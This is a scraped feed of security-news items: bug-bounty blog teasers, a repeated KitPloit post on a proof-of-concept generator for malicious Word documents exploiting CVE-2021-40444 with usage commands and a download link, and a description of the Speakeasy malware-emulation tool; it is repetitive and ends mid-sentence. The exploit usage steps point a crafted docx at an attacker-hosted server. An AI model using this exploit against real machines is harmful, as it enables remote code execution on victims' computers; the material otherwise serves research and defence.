Hacking on Medium
From phpinfo page to many P1 bugs and RCE. [Symfony]


[Symfony]: is a set of reusable PHP components and a PHP framework to build web applications, APIs, microservices and web services

Continue reading on Medium »

Hacking on Medium
Hackers For Hire : Are Hackers for Hire the Future of Global Terrorism?


Hackers For Hire : Are Hackers for Hire the Future of Global Terrorism? — (rebellionresearch.com)

Continue reading on Medium »

From phpinfo page to many P1 bugs and RCE. [Symfony]

Symfony: is a set of reusable PHP components and a PHP framework to build web applications, APIs, microservices and web servicesContinue reading on Medium »
Read more...

CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)

Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)You need to install lcab first (sudo apt-get install lcab)Check REPRODUCE.md for manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cabUsingFirst generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()python3 exploit.py generate test/calc.dll http://<SRV IP>Once you generate the malicious docx (will be at out/) you can setup the server:sudo python3 exploit.py host 80Finally try the docx in a Windows Virtual Machine: Download CVE-2021-40444
Read more...

How I was able to find 100+ XSS in United nations Bug Bounty Program

Hey Guys so this is my first blog . so i thought maybe give it try to show people how you could find bugs in a easy wayContinue reading on Medium »
Read more...

CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)
http://www.kitploit.com/2021/09/cve-2021-40444-poc-malicious-docx.html

Malicious docx generator (https://www.kitploit.com/search/label/Generator) to exploit CVE-2021-40444 (Microsoft Office Word Remote (https://www.kitploit.com/search/label/Remote) Code Execution)
Creation of this Script is based on some reverse engineering (https://www.kitploit.com/search/label/Reverse%20Engineering) over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)You need to install lcab first (sudo apt-get install lcab)Check REPRODUCE.md for manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cab
Using
First generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()python3 exploit.py generate test/calc.dll http://

Once you generate the malicious docx (will be at out/) you can setup the server:sudo python3 exploit.py host 80

Finally try the docx in a Windows (https://www.kitploit.com/search/label/Windows) Virtual Machine:

 
Download CVE-2021-40444 (https://github.com/lockedbyte/CVE-2021-40444)

How I was able to find 100+ XSS in United nations Bug Bounty Program
https://mrpentestguy.medium.com/how-i-was-able-to-find-100-xss-in-united-nations-bug-bounty-program-a675573c006d?source=rss------bug_bounty-5

Hey Guys so this is my first blog . so i thought maybe give it try to show people how you could find bugs in a easy wayContinue reading on Medium » (https://mrpentestguy.medium.com/how-i-was-able-to-find-100-xss-in-united-nations-bug-bounty-program-a675573c006d?source=rss------bug_bounty-5)

KitPloit - PenTest Tools!CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)





Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)




Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)

You need to install lcab first (sudo apt-get install lcab)

Check REPRODUCE.mdfor manual reproduce steps

If your generated cab is not working, try pointing out exploit.html URL to calc.cab

Using

First generate a malicious docx document given a DLL, you can use the one at test/calc.dllwhich just pops a calc.exefrom a call to system()

python3 exploit.py generate test/calc.dll http://<SRV IP>









Once you generate the malicious docx (will be at out/) you can setup the server:

sudo python3 exploit.py host 80









Finally try the docx in a Windows Virtual Machine:



 


Download CVE-2021-40444

Kali Linux TutorialsSpeakeasy : Windows Kernel And User Mode Emulation
Speakeasy is a portable, modular, binary emulator designed to emulate Windows kernel and user mode malware.

Check out the overview in the first Speakeasy blog post.

Instead of attempting to perform dynamic analysis using an entire virtualized operating system, Speakeasy will emulate specific components of Windows. Specifically, by emulating operating system APIs, objects, running processes/threads, filesystems, and networks it should be possible to present an environment where samples can fully “execute”. Samples can be easily emulated in a container or in cloud services which allow for great scalability of many samples to be simultaneously analyzed. Currently, Speakeasy supports both user mode and kernel mode Windows applications.

Before emulating, entry points are identified within the binary. For example, exported functions are all identified and emulated sequentially. Additionally, dynamic entry points (e.g. new threads, registered callbacks, IRP handlers) that are discovered at runtime are also emulated. The goal here is to have as much code coverage as possible during emulation. Events are logged on a per-entry-point basis so that functionality can be attributed to specific functions or exports.

Speakeasy is currently written entirely in Python 3 and relies on the Unicorn emulation engine in order to emulate CPU instructions. The CPU emulation engine can be swapped out and there are plans to support other engines in the future.

APIs are emulated in Python code in order to handle their expected inputs and outputs in order to keep malware on their “happy path”. These APIs and their structure should be consistent with the API documentation provided by Microsoft.

Installation

Speakeasy can be executed in a docker container, as a stand-alone script, or in cloud services. The easiest method of installation is by first installing the required package dependencies, and then running the included setup.py script (replace “python3” with your current Python3 interpreter):

cd
python3 -m pip install -r requirements.txt
python3 setup.py install

A docker file is also included in order to build a docker image, however, Speakeasy’s dependencies can be installed on the local system and run from Python directly.

Running within a docker container

The included Dockerfile can be used to generate a docker image.

Building the docker image

* Build the Docker image; the following commands will create a container with the tag named “my_tag”:

cd
docker build -t “my_tag”

* Run the Docker image and create a local volume in /sandbox:

docker run -v :/sandbox -it “my_tag”

Usage

As a library

Speakeasy can be imported and used as a general purpose Windows emulation library. The main public interface named Speakeasy should be used when interacting with the framework. The lower level emulator objects can also be used, however their interfaces may change in the future and may lack documentation.

Below is a quick example of how to emulate a Windows DLL:

import speakeasy
# Get a speakeasy object
se = speakeasy.Speakeasy()
# Load a DLL into the emulation space
module = se.load_module(“myfile.dll”)
# Emulate the DLL’s entry point (i.e. DllMain)
se.run_module(module)
# Set up some args for the export
arg0 = 0x0
arg1 = 0x1
# Walk the DLLs exports
for exp in module.get_exports():
if exp.name == ‘myexport’:
# Call an export named ‘myexport’ and emulate it
se.call(exp.address, [arg0, arg1])
# Get the emulation report
report = se.get_report()
# Do something with the report; parse it or save it off for post-processing

For more examples, see the examples directory.

As a standalone command line tool

For users w[...]